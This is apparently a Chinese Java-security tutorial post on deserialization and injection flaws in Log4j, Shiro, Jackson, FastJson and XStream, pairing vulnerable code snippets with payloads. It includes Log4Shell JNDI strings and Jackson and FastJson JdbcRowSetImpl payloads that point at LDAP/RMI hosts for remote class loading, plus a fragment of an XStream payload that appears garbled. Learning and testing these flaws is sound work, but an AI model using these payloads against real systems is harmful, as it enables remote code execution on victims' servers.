JavaSec 基础之五大不安全组件

小明 2025-04-30 21:43:00 4

文章目录

    • 不安全组件(框架)-Shiro&FastJson&Jackson&XStream&Log4j
      • Log4j
      • Shiro
      • Jackson
      • FastJson
      • XStream

        不安全组件(框架)-Shiro&FastJson&Jackson&XStream&Log4j

        Log4j

        Apache的一个开源项目,是一个基于Java的日志记录框架。

        历史漏洞:https://avd.aliyun.com/search?q=Log4j

        import org.apache.logging.log4j.LogManager;
        import org.apache.logging.log4j.Logger;
         public String log4j(String content) {
                logger.error(content);
                return "Log4j2 JNDI Injection";
            }
        

        Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。

        这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容的ldap协议内容(如:${jndi:ldap://localhost:9999/Test}),

        该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。

        payloadxxxx

        ${jndi:rmi://xxxx:1099/xy9t54}
        ${jndi:ldap://xxxxx:1389/qerodw}
        

        弹计算器本地才能发现,所以我们检测是否为注入可以 yakit dns 外带。

        Shiro

        Java安全框架,能够用于身份验证、授权、加密和会话管理。

        历史漏洞:https://avd.aliyun.com/search?q=Shiro

        登录抓包复制地址

        Jackson

        当下流行的json解释器,主要负责处理Json的序列化和反序列化。

        历史漏洞:https://avd.aliyun.com/search?q=Jackson

        Jackson-databind 支持 Polymorphic Deserialization 特性(默认情况下不开启),当 json 字符串转换的 Target class 中有 polymorph fields,即字段类型为接口、抽象类或 Object 类型时,

        攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类),来实现实例化指定的类,借助某些特殊的 class,如 TemplatesImpl,可以实现任意代码执行。

        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        Object o = mapper.readValue(content, Object.class);
        

        payload

        ["com.nqadmin.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":"true"}]
        

        把 jndi 部分替换成公网

        FastJson

        历史漏洞:https://avd.aliyun.com/search?q=fastjson

        Fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean

        JSONObject jsonToObject = JSON.parseObject(content);
        return jsonToObject.get("name").toString();
        

        版本可以从外部导入库查看也可查看 pom.xml 配置文件

        payload:

        {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://jndi.fuzz.red:5/ahld/test","autoCommit":true}
        

        XStream

        XStream是一个轻量级、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。

        XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.16 及之前版本黑名单存在缺陷,攻击者可利用sun.rmi.registry.RegistryImpl_Stub构造RMI请求,进而执行任意命令。

        历史漏洞:https://avd.aliyun.com/search?q=XStream

         XStream xs = new XStream();
        xs.fromXML(content);
        

        payload

        这个倒是没用到 jndi,

        java.lang.Comparablecalcstart
        
The End
微信